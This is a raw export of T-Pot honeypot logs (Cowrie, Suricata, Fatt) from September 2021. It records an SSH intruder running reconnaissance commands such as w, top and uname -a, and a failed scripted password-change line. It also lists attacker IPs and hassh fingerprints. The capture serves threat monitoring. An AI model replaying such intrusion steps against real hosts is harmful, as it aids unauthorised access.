33855	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:40.354451+03	2021-09-20 15:00:06.390722+03	{"_id": "NAYRA3wBvYTbRNuEqFIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:40.354451Z", "@timestamp": "2021-09-20T11:57:40.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33856	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:40.981986+03	2021-09-20 15:00:06.391722+03	{"_id": "MgYRA3wBvYTbRNuEqFIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "203.176.71.44", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6276190280914307, "duplicate": true, "timestamp": "2021-09-20T11:57:40.981986Z", "@timestamp": "2021-09-20T11:57:40.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33857	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:37.125918+03	2021-09-20 15:00:06.392722+03	{"_id": "KAYRA3wBvYTbRNuEmFKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:37.125918Z", "@timestamp": "2021-09-20T11:57:37.125Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33858	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:37.126459+03	2021-09-20 15:00:06.393722+03	{"_id": "KQYRA3wBvYTbRNuEmFKQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:37.126459Z", "@timestamp": "2021-09-20T11:57:37.126Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33859	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:38.188748+03	2021-09-20 15:00:06.395722+03	{"_id": "LAYRA3wBvYTbRNuEnFJ5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:38.188748Z", "@timestamp": "2021-09-20T11:57:38.188Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33861	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:40.354994+03	2021-09-20 15:00:06.397722+03	{"_id": "MwYRA3wBvYTbRNuEqFIy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:40.354994Z", "@timestamp": "2021-09-20T11:57:40.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33862	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:30.7353+03	2021-09-20 15:00:06.398722+03	{"_id": "CQYRA3wBvYTbRNuEgVIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:30.735300Z", "@timestamp": "2021-09-20T11:57:30.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33863	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:30.736097+03	2021-09-20 15:00:06.400752+03	{"_id": "CgYRA3wBvYTbRNuEgVIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:30.736097Z", "@timestamp": "2021-09-20T11:57:30.736Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
33864	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:41.380092+03	2021-09-20 15:00:06.401753+03	{"_id": "NwYRA3wBvYTbRNuErFIb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:41.380092Z", "@timestamp": "2021-09-20T11:57:41.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33865	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:42.464134+03	2021-09-20 15:00:06.402761+03	{"_id": "OwYRA3wBvYTbRNuEsFIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:42.464134Z", "@timestamp": "2021-09-20T11:57:42.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33866	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:57:43.492982+03	2021-09-20 15:00:06.403752+03	{"_id": "PAYRA3wBvYTbRNuEslJC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47982, "timestamp": "2021-09-20T11:57:43.492982", "@timestamp": "2021-09-20T11:57:43.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33867	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:57:43.491838+03	2021-09-20 15:00:06.405722+03	{"_id": "RQYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:47982 (192.168.176.2:22) [session: 105ef05babfc]", "session": "105ef05babfc", "@version": "1", "protocol": "ssh", "src_port": 47982, "dest_port": 22, "timestamp": "2021-09-20T11:57:43.491838Z", "@timestamp": "2021-09-20T11:57:43.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33868	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:57:43.552102+03	2021-09-20 15:00:06.406723+03	{"_id": "RAYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "105ef05babfc", "@version": "1", "timestamp": "2021-09-20T11:57:43.552102Z", "@timestamp": "2021-09-20T11:57:43.552Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
33869	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:57:43.550958+03	2021-09-20 15:00:06.407723+03	{"_id": "SgYRA3wBvYTbRNuEtVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 952136120115567, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47982, "dest_port": 22, "timestamp": "2021-09-20T11:57:43.550958Z", "@timestamp": "2021-09-20T11:57:43.550Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33870	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:44.547915+03	2021-09-20 15:00:06.409722+03	{"_id": "TQYRA3wBvYTbRNuEt1LW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:44.547915Z", "@timestamp": "2021-09-20T11:57:44.547Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33871	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:45.176929+03	2021-09-20 15:00:06.410722+03	{"_id": "TwYRA3wBvYTbRNuEt1LW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "203.176.71.44", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "d05e0179f43c", "@version": "1", "duration": 0.6290996074676514, "duplicate": true, "timestamp": "2021-09-20T11:57:45.176929Z", "@timestamp": "2021-09-20T11:57:45.176Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33878	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:43.489027+03	2021-09-20 15:00:06.418722+03	{"_id": "QwYRA3wBvYTbRNuEs1Lu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:43.489027Z", "@timestamp": "2021-09-20T11:57:43.489Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33872	172.217.17.196	109.199.241.180	Suricata	2021-09-20 14:57:45.383709+03	2021-09-20 15:00:06.411722+03	{"_id": "UQYRA3wBvYTbRNuEuVIG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:45.165924+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1873649270884388, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 33204, "timestamp": "2021-09-20T11:57:45.383709Z", "@timestamp": "2021-09-20T11:57:45.383Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33873	172.217.17.196	109.199.241.180	Suricata	2021-09-20 14:57:45.165924+03	2021-09-20 15:00:06.412721+03	{"_id": "UgYRA3wBvYTbRNuEuVIG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:57:45.165924+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "172.217.17.196", "asn": 15169, "as_org": "Google Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "172.217.17.196", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1873649270884388, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 33204, "timestamp": "2021-09-20T11:57:45.165924Z", "@timestamp": "2021-09-20T11:57:45.165Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
33874	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:45.635418+03	2021-09-20 15:00:06.414722+03	{"_id": "UwYRA3wBvYTbRNuEu1K-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:45.635418Z", "@timestamp": "2021-09-20T11:57:45.635Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33875	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:41.380637+03	2021-09-20 15:00:06.415722+03	{"_id": "OAYRA3wBvYTbRNuErFIc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:41.380637Z", "@timestamp": "2021-09-20T11:57:41.380Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33876	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:57:42.463581+03	2021-09-20 15:00:06.416722+03	{"_id": "OQYRA3wBvYTbRNuEsFIE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-xtensa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.session.params", "message": [], "session": "d05e0179f43c", "@version": "1", "timestamp": "2021-09-20T11:57:42.463581Z", "@timestamp": "2021-09-20T11:57:42.463Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
